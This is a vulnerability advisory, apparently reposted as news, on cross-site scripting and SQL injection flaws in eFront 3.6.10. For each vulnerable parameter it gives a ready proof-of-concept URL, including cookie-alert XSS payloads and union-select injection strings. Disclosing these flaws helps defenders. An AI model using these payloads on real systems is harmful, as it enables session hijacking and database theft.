Efront Learning Cross-Site Scripting Vulnerability

Summary

This allows remote authenticated users to inject arbitrary web script or HTML via the subject box of a message.

Credit:

Details

Vulnerable Systems:
 * eFront 3.6.10 build 11944 and possibly below.

1) Cross-Site scripting (XSS) vulnerabilities in Efront

1.1 Input passed via the ‘course’ GET parameter to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of affected website.
Exploitation example:
http://[host]/index.php?ctg=lesson_info&lessons_ID=1&course=%27%20onmouseover%3dalert%28document.coo kie%29%3E

1.2 Input appended to the URL after index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.
The following PoC is available:
http://[host]/index.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Successful exploitation of this vulnerability requires that Apache’s directive ‘AcceptPathInfo’ is set to ‘on’ or ‘default’ (default value is ‘default’)

1.3 Input passed via the ‘message_type’ GET parameter to index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of affected website.
Exploitation example:
http://[host]/index.php?message=1&message_type=%22%20onmouseover=alert%28document.cookie%29%3E

1.4 Input passed via the ‘ctg’ GET parameter to professor.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of affected website.
Exploitation example:
http://[host]/professor.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29

1.5 Input passed via the ‘ctg’ GET parameter to student.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of affected website.
Exploitation example:
http://[host]/student.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29

1.6 Input passed via the ‘ctg’ GET parameter to administrator.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of affected website.
Exploitation example:
http://[host]/administrator.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29

2) SQL Injection in Efront
2.1 Input passed via the ‘done_test_id’ GET parameter to view_test.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/view_test.php?done_test_id=1%20union%20select%201,2,%28select%20version%28%29%29,4,5,6 ,7,8,9,10,11,12%20–%20
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.

2.2Input passed via the ‘user’ GET parameter to view_test.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/view_test.php?test_id=1&user=%27SQL_CODE_HERE
http://[host]/view_test.php?content_id=2&user=%27SQL_CODE_HERE
Successful exploitation of this vulnerability requires that ‘magic_quotes_gpc’ is off.

2.3 Input passed via the ‘loglessonid’ GET parameter to /modules/module_chat/admin.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/modules/module_chat/admin.php?force=getLessonFromId&loglessonid=-1%27%20union%20select %20version%28%29%20–%202
Successful exploitation of this vulnerability requires that ‘magic_quotes_gpc’ is off.

2.4 Input passed via the ‘user2’ GET parameter to ask_information.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/ask_information.php?common_lessons=1&user1=professor&user2=%27%20union%20select%201,ve rsion%28%29%20–%20
Successful exploitation of this vulnerability requires that ‘magic_quotes_gpc’ is off.

Details
———————————
eFront is affected by XSS vulnerabilities in version 3.6.10 build 11944.
Example PoC urls are as follows :
http://example.com/administrator.php?ctg=%22%20stYle=%22x:expre/**/ssion(alert(9))%20&user=admin&op=dashboard
http://example.com/administrator.php?ctg=personal&user=’%20stYle=x:expre/**/ssion(alert(9))%20ns=’%20&op=dashboard
http://example.com/administrator.php?ctg=calendar&view_calendar=%22%20stYle=x:expre/**/ssion(alert(9))%20ns=%22
http://example.com/index.php?ctg=lesson_info&lessons_ID=2&course=’%20stYle=’x:expre/**/ssion(alert(9))
http://example.com/index.php/%22%20onmouseover=%22alert(netsparker(9))

Patch Availability:
http://forum.efrontlearning.net/viewtopic.php?f=15&t=3501

Disclosure Timeline:
Vendor Notification:October 12, 2011
Public Disclosure:November 2, 2011
Latest Update:October 26, 2011

Categories: News